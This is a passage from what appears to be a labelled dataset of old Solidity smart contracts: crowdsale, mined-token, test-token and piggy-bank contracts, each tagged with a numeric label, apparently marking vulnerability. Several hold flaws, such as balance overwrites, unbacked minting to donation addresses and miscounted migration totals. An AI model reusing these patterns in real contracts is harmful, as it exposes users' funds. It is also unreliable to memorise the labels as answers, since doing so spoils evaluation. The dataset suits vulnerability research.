function goalReached() public constant returns (bool) {
return weiRaised() >= softCap;
}
function setup(uint256 _startTime, uint256 _endDiscountTime, uint256 _endTime, uint256 _softCap, uint256 _hardCap, uint256 _rate, uint256 _overLimit, uint256 _minPay, uint256 _minProfit, uint256 _maxProfit, uint256 _stepProfit, uint256 _maxAllProfit, uint256[] _value, uint256[] _procent, uint256[] _freezeTime) public{
changePeriod(_startTime, _endDiscountTime, _endTime);
changeTargets(_softCap, _hardCap);
changeRate(_rate, _overLimit, _minPay);
changeDiscount(_minProfit, _maxProfit, _stepProfit, _maxAllProfit);
setBonuses(_value, _procent, _freezeTime);
}
function changePeriod(uint256 _startTime, uint256 _endDiscountTime, uint256 _endTime) public{
require(wallets[uint8(Roles.manager)] == msg.sender);
require(!isInitialized);
require(now <= _startTime);
require(_endDiscountTime > _startTime && _endDiscountTime <= _endTime);
startTime = _startTime;
endTime = _endTime;
endDiscountTime = _endDiscountTime;
}
function changeTargets(uint256 _softCap, uint256 _hardCap) public {
require(wallets[uint8(Roles.manager)] == msg.sender);
require(!isInitialized);
require(_softCap <= _hardCap);
softCap = _softCap;
hardCap = _hardCap;
}
function changeRate(uint256 _rate, uint256 _overLimit, uint256 _minPay) public {
require(wallets[uint8(Roles.manager)] == msg.sender);
require(!isInitialized);
require(_rate > 0);
rate = _rate;
overLimit = _overLimit;
minPay = _minPay;
}
function changeDiscount(uint256 _minProfit, uint256 _maxProfit, uint256 _stepProfit, uint256 _maxAllProfit) public {
require(wallets[uint8(Roles.manager)] == msg.sender);
require(!isInitialized);
require(_maxProfit <= _maxAllProfit);
require(_stepProfit <= _maxProfit.sub(_minProfit));
if(_stepProfit > 0){
profit.max = _maxProfit.sub(_minProfit).div(_stepProfit).mul(_stepProfit).add(_minProfit);
}else{
profit.max = _minProfit;
}
profit.min = _minProfit;
profit.step = _stepProfit;
profit.maxAllProfit = _maxAllProfit;
}
function setBonuses(uint256[] _value, uint256[] _procent, uint256[] _dateUnfreeze) public {
require(wallets[uint8(Roles.manager)] == msg.sender);
require(!isInitialized);
require(_value.length == _procent.length && _value.length == _dateUnfreeze.length);
bonuses.length = _value.length;
for(uint256 i = 0; i < _value.length; i++){
bonuses[i] = Bonus(_value[i],_procent[i],_dateUnfreeze[i]);
}
}
function weiRaised() public constant returns(uint256){
return ethWeiRaised.add(nonEthWeiRaised);
}
function weiTotalRaised() public constant returns(uint256){
return weiRound1.add(weiRaised());
}
function getProfitPercent() public constant returns (uint256){
return getProfitPercentForData(now);
}
function getProfitPercentForData(uint256 timeNow) public constant returns (uint256){
if (profit.max == 0 || profit.step == 0 || timeNow > endDiscountTime){
return profit.min;
}
if (timeNow<=startTime){
return profit.max;
}
uint256 range = endDiscountTime.sub(startTime);
uint256 profitRange = profit.max.sub(profit.min);
uint256 timeRest = endDiscountTime.sub(timeNow);
uint256 profitProcent = profitRange.div(profit.step).mul(timeRest.mul(profit.step.add(1)).div(range));
return profitProcent.add(profit.min);
}
function getBonuses(uint256 _value) public constant returns(uint256 procent, uint256 _dateUnfreeze){
if(bonuses.length == 0 || bonuses[0].value > _value){
return (0,0);
}
uint16 i = 1;
for(i; i < bonuses.length; i++){
if(bonuses[i].value > _value){
break;
}
}
return (bonuses[i-1].procent,bonuses[i-1].freezeTime);
}
function fastTokenSale(uint256 _totalSupply) public {
require(wallets[uint8(Roles.manager)] == msg.sender);
require(TokenSale == TokenSaleType.round1 && !isInitialized);
token.mint(wallets[uint8(Roles.accountant)], _totalSupply);
TokenSale = TokenSaleType.round2;
}
function tokenUnpause() public {
require(wallets[uint8(Roles.manager)] == msg.sender
|| (now > endTime + 30 days && TokenSale == TokenSaleType.round2 && isFinalized && goalReached()));
token.unpause();
}
function tokenPause() public {
require(wallets[uint8(Roles.manager)] == msg.sender && !isFinalized);
token.pause();
}
function crowdsalePause() public {
require(wallets[uint8(Roles.manager)] == msg.sender);
require(isPausedCrowdsale == false);
isPausedCrowdsale = true;
}
function crowdsaleUnpause() public {
require(wallets[uint8(Roles.manager)] == msg.sender);
require(isPausedCrowdsale == true);
isPausedCrowdsale = false;
}
function unpausedWallet(address _wallet) internal constant returns(bool) {
bool _accountant = wallets[uint8(Roles.accountant)] == _wallet;
bool _manager = wallets[uint8(Roles.manager)] == _wallet;
bool _bounty = wallets[uint8(Roles.bounty)] == _wallet;
bool _company = wallets[uint8(Roles.company)] == _wallet;
return _accountant || _manager || _bounty || _company;
}
function moveTokens(address _migrationAgent) public {
require(wallets[uint8(Roles.manager)] == msg.sender);
token.setMigrationAgent(_migrationAgent);
}
function migrateAll(address[] _holders) public {
require(wallets[uint8(Roles.manager)] == msg.sender);
token.migrateAll(_holders);
}
function changeWallet(Roles _role, address _wallet) public
{
require(
(msg.sender == wallets[uint8(_role)] && _role != Roles.observer)
||
(msg.sender == wallets[uint8(Roles.manager)] && (!isInitialized || _role == Roles.observer))
);
address oldWallet = wallets[uint8(_role)];
wallets[uint8(_role)] = _wallet;
if(token.unpausedWallet(oldWallet))
token.delUnpausedWallet(oldWallet);
if(unpausedWallet(_wallet))
token.addUnpausedWallet(_wallet);
if(_role == Roles.accountant)
token.setFreezingManager(wallets[uint8(Roles.accountant)]);
}
function resetAllWallets() public{
address _beneficiary = wallets[uint8(Roles.beneficiary)];
require(msg.sender == _beneficiary);
for(uint8 i = 0; i < wallets.length; i++){
if(token.unpausedWallet(wallets[i]))
token.delUnpausedWallet(wallets[i]);
wallets[i] = _beneficiary;
}
token.addUnpausedWallet(_beneficiary);
}
function distructVault() public {
if (wallets[uint8(Roles.beneficiary)] == msg.sender && (now > startTime + 400 days)) {
vault.del(wallets[uint8(Roles.beneficiary)]);
}
if (wallets[uint8(Roles.manager)] == msg.sender && (now > startTime + 600 days)) {
vault.del(wallets[uint8(Roles.manager)]);
}
}
function paymentsInOtherCurrency(uint256 _token, uint256 _value) public {
require(wallets[uint8(Roles.observer)] == msg.sender || wallets[uint8(Roles.manager)] == msg.sender);
bool withinPeriod = (now >= startTime && now <= endTime);
bool withinCap = _value.add(ethWeiRaised) <= hardCap.add(overLimit);
require(withinPeriod && withinCap && isInitialized);
nonEthWeiRaised = _value;
tokenReserved = _token;
}
function changeLock(address _owner, uint256 _value, uint256 _date) external {
require(wallets[uint8(Roles.manager)] == msg.sender);
token.changeLock(_owner, _value, _date);
}
function lokedMint(address _beneficiary, uint256 _value, uint256 _freezeTime) internal {
if(_freezeTime > 0){
uint256 totalBloked = token.valueBlocked(_beneficiary).add(_value);
uint256 pastDateUnfreeze = token.blikedUntil(_beneficiary);
uint256 newDateUnfreeze = _freezeTime + now;
newDateUnfreeze = (pastDateUnfreeze > newDateUnfreeze ) ? pastDateUnfreeze : newDateUnfreeze;
token.changeLock(_beneficiary,totalBloked,newDateUnfreeze);
}
token.mint(_beneficiary,_value);
}
function buyTokens(address beneficiary) public payable {
require(beneficiary != 0x0);
require(validPurchase());
uint256 weiAmount = msg.value;
uint256 ProfitProcent = getProfitPercent();
var (bonus, dateUnfreeze) = getBonuses(weiAmount);
uint256 totalProfit = ProfitProcent;
totalProfit = (totalProfit < bonus) ? bonus : totalProfit;
totalProfit = (totalProfit > profit.maxAllProfit) ? profit.maxAllProfit : totalProfit;
uint256 tokens = weiAmount.mul(rate).mul(totalProfit + 100).div(100000);
ethWeiRaised = ethWeiRaised.add(weiAmount);
lokedMint(beneficiary, tokens, dateUnfreeze);
TokenPurchase(msg.sender, beneficiary, weiAmount, tokens);
forwardFunds();
}
function () public payable {
buyTokens(msg.sender);
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public{
require(newOwner != address(0));
owner = newOwner;
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool _paused = false;
function paused() public constant returns(bool)
{
return _paused;
}
modifier whenNotPaused() {
require(!paused());
_;
}
function pause() onlyOwner public {
require(!_paused);
_paused = true;
Pause();
}
function unpause() onlyOwner public {
require(_paused);
_paused = false;
Unpause();
}
}
contract MigrationAgent
{
function migrateFrom(address _from, uint256 _value) public;
}
contract BlockedToken is Ownable {
using SafeMath for uint256;
struct locked {uint256 value; uint256 date;}
mapping (address => locked) locks;
function blikedUntil(address _owner) external constant returns (uint256) {
if(now < locks[_owner].date)
{
return locks[_owner].date;
}else{
return 0;
}
}
function valueBlocked(address _owner) public constant returns (uint256) {
if(now < locks[_owner].date)
{
return locks[_owner].value;
}else{
return 0;
}
}
function changeLock(address _owner, uint256 _value, uint256 _date) external onlyOwner {
locks[_owner] = locked(_value,_date);
}
}
contract TokenL is Pausable, BlockedToken {
using SafeMath for uint256;
string public constant name = "Crypt2Pos";
string public constant symbol = "CRPOS";
uint8 public constant decimals = 18;
uint256 public totalSupply;
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
mapping (address => bool) public unpausedWallet;
bool public mintingFinished = false;
uint256 public totalMigrated;
address public migrationAgent;
address public freezingManager;
mapping (address => bool) public freezingAgent;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
event Mint(address indexed to, uint256 amount);
event MintFinished();
event Migrate(address indexed _from, address indexed _to, uint256 _value);
modifier canMint() {
require(!mintingFinished);
_;
}
function TokenL() public{
owner = 0x0;
}
function setOwner() public{
require(owner == 0x0);
owner = msg.sender;
}
function setFreezingManager(address _newAddress) external {
require(msg.sender == owner || msg.sender == freezingManager);
freezingAgent[freezingManager] = false;
freezingManager = _newAddress;
freezingAgent[freezingManager] = true;
}
function changeFreezingAgent(address _agent, bool _right) external {
require(msg.sender == freezingManager);
freezingAgent[_agent] = _right;
}
function transferAndFreeze(address _to, uint256 _value, uint256 _when) external {
require(freezingAgent[msg.sender]);
if(_when > 0){
locked storage _locked = locks[_to];
_locked.value = valueBlocked(_to).add(_value);
_locked.date = (_locked.date > _when)? _locked.date: _when;
}
transfer(_to,_value);
}
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balances[_owner];
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(!paused()||unpausedWallet[msg.sender]||unpausedWallet[_to]);
uint256 available = balances[msg.sender].sub(valueBlocked(msg.sender));
require(_value <= available);
require (_value > 0);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function approve(address _spender, uint256 _value) public returns (bool) {
require((_value == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(!paused()||unpausedWallet[msg.sender]||unpausedWallet[_to]);
uint256 available = balances[_from].sub(valueBlocked(_from));
require(_value <= available);
var _allowance = allowed[_from][msg.sender];
require (_value > 0);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
return true;
}
function mint(address _to, uint256 _amount) public onlyOwner canMint returns (bool) {
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(0x0, _to, _amount);
return true;
}
function finishMinting() public onlyOwner returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
function paused() public constant returns(bool) {
return super.paused();
}
function addUnpausedWallet(address _wallet) public onlyOwner {
unpausedWallet[_wallet] = true;
}
function delUnpausedWallet(address _wallet) public onlyOwner {
unpausedWallet[_wallet] = false;
}
function setMigrationAgent(address _migrationAgent) public onlyOwner {
require(migrationAgent == 0x0);
migrationAgent = _migrationAgent;
}
function migrateAll(address[] _holders) public onlyOwner {
require(migrationAgent != 0x0);
uint256 total = 0;
uint256 value;
for(uint i = 0; i < _holders.length; i++){
value = balances[_holders[i]];
if(value > 0){
balances[_holders[i]] = 0;
total = total.add(value);
MigrationAgent(migrationAgent).migrateFrom(_holders[i], value);
Migrate(_holders[i],migrationAgent,value);
}
totalSupply = totalSupply.sub(total);
totalMigrated = totalMigrated.add(total);
}
}
function migration(address _holder) internal {
require(migrationAgent != 0x0);
uint256 value = balances[_holder];
require(value > 0);
balances[_holder] = 0;
totalSupply = totalSupply.sub(value);
totalMigrated = totalMigrated.add(value);
MigrationAgent(migrationAgent).migrateFrom(_holder, value);
Migrate(_holder,migrationAgent,value);
}
function migrate() public
{
migration(msg.sender);
}
}
contract RefundVault is Ownable {
using SafeMath for uint256;
enum State { Active, Refunding, Closed }
mapping (address => uint256) public deposited;
State public state;
event Closed();
event RefundsEnabled();
event Refunded(address indexed beneficiary, uint256 weiAmount);
event Deposited(address indexed beneficiary, uint256 weiAmount);
function RefundVault() public {
state = State.Active;
}
function deposit(address investor) onlyOwner public payable {
require(state == State.Active);
deposited[investor] = deposited[investor].add(msg.value);
Deposited(investor,msg.value);
}
function close(address _wallet) onlyOwner public {
require(state == State.Active);
require(_wallet != 0x0);
state = State.Closed;
Closed();
_wallet.transfer(this.balance);
}
function enableRefunds() onlyOwner public {
require(state == State.Active);
state = State.Refunding;
RefundsEnabled();
}
function refund(address investor) public {
require(state == State.Refunding);
require(deposited[investor] > 0);
uint256 depositedValue = deposited[investor];
deposited[investor] = 0;
investor.transfer(depositedValue);
Refunded(investor, depositedValue);
}
function del(address _wallet) external onlyOwner {
selfdestruct(_wallet);
}
}
contract DistributorRefundVault is RefundVault{
address public taxCollector;
uint256 public taxValue;
function DistributorRefundVault(address _taxCollector, uint256 _taxValue) RefundVault() public{
taxCollector = _taxCollector;
taxValue = _taxValue;
}
function close(address _wallet) onlyOwner public {
require(state == State.Active);
require(_wallet != 0x0);
state = State.Closed;
Closed();
uint256 allPay = this.balance;
uint256 forTarget1;
uint256 forTarget2;
if(taxValue <= allPay){
forTarget1 = taxValue;
forTarget2 = allPay.sub(taxValue);
taxValue = 0;
}else {
taxValue = taxValue.sub(allPay);
forTarget1 = allPay;
forTarget2 = 0;
}
if(forTarget1 != 0){
taxCollector.transfer(forTarget1);
}
if(forTarget2 != 0){
_wallet.transfer(forTarget2);
}
}
} | 1 | 2,081 |
pragma solidity ^0.4.23;
library SafeMath {
function add(uint a, uint b) internal pure returns (uint c) {
c = a + b;
require(c >= a);
}
function sub(uint a, uint b) internal pure returns (uint c) {
require(b <= a);
c = a - b;
}
function mul(uint a, uint b) internal pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function div(uint a, uint b) internal pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
library ExtendedMath {
function limitLessThan(uint a, uint b) internal pure returns (uint c) {
if(a > b) return b;
return a;
}
}
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
contract _0xCatetherToken is ERC20Interface, Owned {
using SafeMath for uint;
using ExtendedMath for uint;
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
uint public latestDifficultyPeriodStarted;
uint public epochCount;
uint public _MINIMUM_TARGET = 2**16;
uint public _MAXIMUM_TARGET = 2**224;
uint public miningTarget;
bytes32 public challengeNumber;
address public lastRewardTo;
uint public lastRewardAmount;
uint public lastRewardEthBlockNumber;
mapping(bytes32 => bytes32) public solutionForChallenge;
mapping(uint => uint) public timeStampForEpoch;
mapping(uint => uint) public targetForEpoch;
mapping(address => uint) balances;
mapping(address => address) donationsTo;
mapping(address => mapping(address => uint)) allowed;
event Donation(address donation);
event DonationAddressOf(address donator, address donnationAddress);
event Mint(address indexed from, uint reward_amount, uint epochCount, bytes32 newChallengeNumber);
constructor() public{
symbol = "0xCATE";
name = "0xCatether Token";
decimals = 8;
epochCount = 0;
_totalSupply = 0;
miningTarget = _MAXIMUM_TARGET;
challengeNumber = "GENESIS_BLOCK";
solutionForChallenge[challengeNumber] = "Yes, this is the Genesis block.";
latestDifficultyPeriodStarted = block.number;
_startNewMiningEpoch();
}
function mint(uint256 nonce, bytes32 challenge_digest) public returns (bool success) {
bytes32 digest = keccak256(challengeNumber, msg.sender, nonce );
if (digest != challenge_digest) revert();
if(uint256(digest) > miningTarget) revert();
bytes32 solution = solutionForChallenge[challengeNumber];
solutionForChallenge[challengeNumber] = digest;
if(solution != 0x0) revert();
uint reward_amount = getMiningReward(digest);
balances[msg.sender] = balances[msg.sender].add(reward_amount);
_totalSupply = _totalSupply.add(reward_amount);
lastRewardTo = msg.sender;
lastRewardAmount = reward_amount;
lastRewardEthBlockNumber = block.number;
_startNewMiningEpoch();
emit Mint(msg.sender, reward_amount, epochCount, challengeNumber );
return true;
}
function _startNewMiningEpoch() internal {
targetForEpoch[epochCount] = miningTarget;
timeStampForEpoch[epochCount] = block.timestamp;
epochCount = epochCount.add(1);
_reAdjustDifficulty();
challengeNumber = blockhash(block.number - 1);
}
function _reAdjustDifficulty() internal {
uint timeTarget = 188;
if(epochCount>28) {
uint i = 0;
uint sumD = 0;
uint sumST = 0;
uint solvetime;
for(i=epochCount.sub(28); i<epochCount; i++){
sumD = sumD.add(targetForEpoch[i]);
solvetime = timeStampForEpoch[i] - timeStampForEpoch[i-1];
if (solvetime > timeTarget.mul(7)) {solvetime = timeTarget.mul(7); }
sumST += solvetime;
}
sumST = sumST.mul(10000).div(2523).add(1260);
miningTarget = sumD.mul(60).div(sumST);
}
latestDifficultyPeriodStarted = block.number;
if(miningTarget < _MINIMUM_TARGET)
{
miningTarget = _MINIMUM_TARGET;
}
if(miningTarget > _MAXIMUM_TARGET)
{
miningTarget = _MAXIMUM_TARGET;
}
targetForEpoch[epochCount] = miningTarget;
}
function getChallengeNumber() public constant returns (bytes32) {
return challengeNumber;
}
function getMiningDifficulty() public constant returns (uint) {
return _MAXIMUM_TARGET.div(miningTarget);
}
function getMiningTarget() public constant returns (uint) {
return miningTarget;
}
function getMiningReward(bytes32 digest) public constant returns (uint) {
if(epochCount > 600000) return (30000 * 10**uint(decimals) );
if(epochCount > 500000) return (46875 * 10**uint(decimals) );
if(epochCount > 400000) return (93750 * 10**uint(decimals) );
if(epochCount > 300000) return (187500 * 10**uint(decimals) );
if(epochCount > 200000) return (375000 * 10**uint(decimals) );
if(epochCount > 145000) return (500000 * 10**uint(decimals) );
if(epochCount > 100000) return ((uint256(keccak256(digest, blockhash(block.number - 2))) % 1500000) * 10**uint(decimals) );
return ( (uint256(keccak256(digest, blockhash(block.number - 2))) % 3000000) * 10**uint(decimals) );
}
function getMintDigest(uint256 nonce, bytes32 challenge_digest, bytes32 challenge_number) public view returns (bytes32 digesttest) {
bytes32 digest = keccak256(challenge_number,msg.sender,nonce);
return digest;
}
function checkMintSolution(uint256 nonce, bytes32 challenge_digest, bytes32 challenge_number, uint testTarget) public view returns (bool success) {
bytes32 digest = keccak256(challenge_number,msg.sender,nonce);
if(uint256(digest) > testTarget) revert();
return (digest == challenge_digest);
}
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
function donationTo(address tokenOwner) public constant returns (address donationAddress) {
return donationsTo[tokenOwner];
}
function changeDonation(address donationAddress) public returns (bool success) {
donationsTo[msg.sender] = donationAddress;
emit DonationAddressOf(msg.sender , donationAddress);
return true;
}
function transfer(address to, uint tokens) public returns (bool success) {
address donation = donationsTo[msg.sender];
balances[msg.sender] = balances[msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
balances[donation] = balances[donation].add(161803400);
emit Transfer(msg.sender, to, tokens);
emit Donation(donation);
return true;
}
function transferAndDonateTo(address to, uint tokens, address donation) public returns (bool success) {
balances[msg.sender] = balances[msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
balances[donation] = balances[donation].add(161803400);
emit Transfer(msg.sender, to, tokens);
emit Donation(donation);
return true;
}
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
address donation = donationsTo[from];
balances[from] = balances[from].sub(tokens);
allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
balances[donation] = balances[donation].add(161803400);
emit Transfer(from, to, tokens);
emit Donation(donation);
return true;
}
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
function () public payable {
revert();
}
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | 0 | 1,823 |
pragma solidity ^0.4.19;
contract TestToken {
mapping (address => uint) public balanceOf;
function () public payable {
balanceOf[msg.sender] = msg.value;
}
} | 1 | 4,066 |
pragma solidity ^0.4.18;
contract PiggyBank {
event Gift(address indexed donor, uint indexed amount);
event Lambo(uint indexed amount);
uint constant lamboTime = 2058739200;
address niece = 0x1FC7b94f00C54C89336FEB4BaF617010a6867B40;
function() payable {
Gift(msg.sender, msg.value);
}
function buyLambo() {
require (block.timestamp > lamboTime && msg.sender == niece);
Lambo(this.balance);
msg.sender.transfer(this.balance);
}
} | 0 | 880 |
contract SafeMath {
function safeMul(uint a, uint b) internal returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function safeDiv(uint a, uint b) internal returns (uint) {
assert(b > 0);
uint c = a / b;
assert(a == b * c + a % b);
return c;
}
function safeSub(uint a, uint b) internal returns (uint) {
assert(b <= a);
return a - b;
}
function safeAdd(uint a, uint b) internal returns (uint) {
uint c = a + b;
assert(c>=a && c>=b);
return c;
}
function max64(uint64 a, uint64 b) internal constant returns (uint64) {
return a >= b ? a : b;
}
function min64(uint64 a, uint64 b) internal constant returns (uint64) {
return a < b ? a : b;
}
function max256(uint256 a, uint256 b) internal constant returns (uint256) {
return a >= b ? a : b;
}
function min256(uint256 a, uint256 b) internal constant returns (uint256) {
return a < b ? a : b;
}
}
library SafeMathLib {
function times(uint a, uint b) returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function minus(uint a, uint b) returns (uint) {
assert(b <= a);
return a - b;
}
function plus(uint a, uint b) returns (uint) {
uint c = a + b;
assert(c>=a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract Haltable is Ownable {
bool public halted;
modifier stopInEmergency {
if (halted) throw;
_;
}
modifier stopNonOwnersInEmergency {
if (halted && msg.sender != owner) throw;
_;
}
modifier onlyInEmergency {
if (!halted) throw;
_;
}
function halt() external onlyOwner {
halted = true;
}
function unhalt() external onlyOwner onlyInEmergency {
halted = false;
}
}
contract PricingStrategy {
function isPricingStrategy() public constant returns (bool) {
return true;
}
function isSane(address crowdsale) public constant returns (bool) {
return true;
}
function isPresalePurchase(address purchaser) public constant returns (bool) {
return false;
}
function calculatePrice(uint value, uint weiRaised, uint tokensSold, address msgSender, uint decimals) public constant returns (uint tokenAmount);
}
contract FinalizeAgent {
function isFinalizeAgent() public constant returns(bool) {
return true;
}
function isSane() public constant returns (bool);
function finalizeCrowdsale();
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract FractionalERC20 is ERC20 {
uint public decimals;
}
contract Crowdsale is Haltable {
uint public MAX_INVESTMENTS_BEFORE_MULTISIG_CHANGE = 5;
using SafeMathLib for uint;
FractionalERC20 public token;
PricingStrategy public pricingStrategy;
FinalizeAgent public finalizeAgent;
address public multisigWallet;
uint public minimumFundingGoal;
uint public startsAt;
uint public endsAt;
uint public tokensSold = 0;
uint public weiRaised = 0;
uint public presaleWeiRaised = 0;
uint public investorCount = 0;
uint public loadedRefund = 0;
uint public weiRefunded = 0;
bool public finalized;
bool public requireCustomerId;
bool public requiredSignedAddress;
address public signerAddress;
mapping (address => uint256) public investedAmountOf;
mapping (address => uint256) public tokenAmountOf;
mapping (address => bool) public earlyParticipantWhitelist;
uint public ownerTestValue;
enum State{Unknown, Preparing, PreFunding, Funding, Success, Failure, Finalized, Refunding}
event Invested(address investor, uint weiAmount, uint tokenAmount, uint128 customerId);
event Refund(address investor, uint weiAmount);
event InvestmentPolicyChanged(bool newRequireCustomerId, bool newRequiredSignedAddress, address newSignerAddress);
event Whitelisted(address addr, bool status);
event EndsAtChanged(uint newEndsAt);
function Crowdsale(address _token, PricingStrategy _pricingStrategy, address _multisigWallet, uint _start, uint _end, uint _minimumFundingGoal) {
owner = msg.sender;
token = FractionalERC20(_token);
setPricingStrategy(_pricingStrategy);
multisigWallet = _multisigWallet;
if(multisigWallet == 0) {
throw;
}
if(_start == 0) {
throw;
}
startsAt = _start;
if(_end == 0) {
throw;
}
endsAt = _end;
if(startsAt >= endsAt) {
throw;
}
minimumFundingGoal = _minimumFundingGoal;
}
function() payable {
throw;
}
function investInternal(address receiver, uint128 customerId) stopInEmergency private {
if(getState() == State.PreFunding) {
if(!earlyParticipantWhitelist[receiver]) {
throw;
}
} else if(getState() == State.Funding) {
} else {
throw;
}
uint weiAmount = msg.value;
uint tokenAmount = pricingStrategy.calculatePrice(weiAmount, weiRaised - presaleWeiRaised, tokensSold, msg.sender, token.decimals());
if(tokenAmount == 0) {
throw;
}
if(investedAmountOf[receiver] == 0) {
investorCount++;
}
investedAmountOf[receiver] = investedAmountOf[receiver].plus(weiAmount);
tokenAmountOf[receiver] = tokenAmountOf[receiver].plus(tokenAmount);
weiRaised = weiRaised.plus(weiAmount);
tokensSold = tokensSold.plus(tokenAmount);
if(pricingStrategy.isPresalePurchase(receiver)) {
presaleWeiRaised = presaleWeiRaised.plus(weiAmount);
}
if(isBreakingCap(weiAmount, tokenAmount, weiRaised, tokensSold)) {
throw;
}
assignTokens(receiver, tokenAmount);
if(!multisigWallet.send(weiAmount)) throw;
Invested(receiver, weiAmount, tokenAmount, customerId);
}
function preallocate(address receiver, uint fullTokens, uint weiPrice) public onlyOwner {
uint tokenAmount = fullTokens * 10**token.decimals();
uint weiAmount = weiPrice * fullTokens;
weiRaised = weiRaised.plus(weiAmount);
tokensSold = tokensSold.plus(tokenAmount);
investedAmountOf[receiver] = investedAmountOf[receiver].plus(weiAmount);
tokenAmountOf[receiver] = tokenAmountOf[receiver].plus(tokenAmount);
assignTokens(receiver, tokenAmount);
Invested(receiver, weiAmount, tokenAmount, 0);
}
function investWithSignedAddress(address addr, uint128 customerId, uint8 v, bytes32 r, bytes32 s) public payable {
bytes32 hash = sha256(addr);
if (ecrecover(hash, v, r, s) != signerAddress) throw;
if(customerId == 0) throw;
investInternal(addr, customerId);
}
function investWithCustomerId(address addr, uint128 customerId) public payable {
if(requiredSignedAddress) throw;
if(customerId == 0) throw;
investInternal(addr, customerId);
}
function invest(address addr) public payable {
if(requireCustomerId) throw;
if(requiredSignedAddress) throw;
investInternal(addr, 0);
}
function buyWithSignedAddress(uint128 customerId, uint8 v, bytes32 r, bytes32 s) public payable {
investWithSignedAddress(msg.sender, customerId, v, r, s);
}
function buyWithCustomerId(uint128 customerId) public payable {
investWithCustomerId(msg.sender, customerId);
}
function buy() public payable {
invest(msg.sender);
}
function finalize() public inState(State.Success) onlyOwner stopInEmergency {
if(finalized) {
throw;
}
if(address(finalizeAgent) != 0) {
finalizeAgent.finalizeCrowdsale();
}
finalized = true;
}
function setFinalizeAgent(FinalizeAgent addr) onlyOwner {
finalizeAgent = addr;
if(!finalizeAgent.isFinalizeAgent()) {
throw;
}
}
function setRequireCustomerId(bool value) onlyOwner {
requireCustomerId = value;
InvestmentPolicyChanged(requireCustomerId, requiredSignedAddress, signerAddress);
}
function setRequireSignedAddress(bool value, address _signerAddress) onlyOwner {
requiredSignedAddress = value;
signerAddress = _signerAddress;
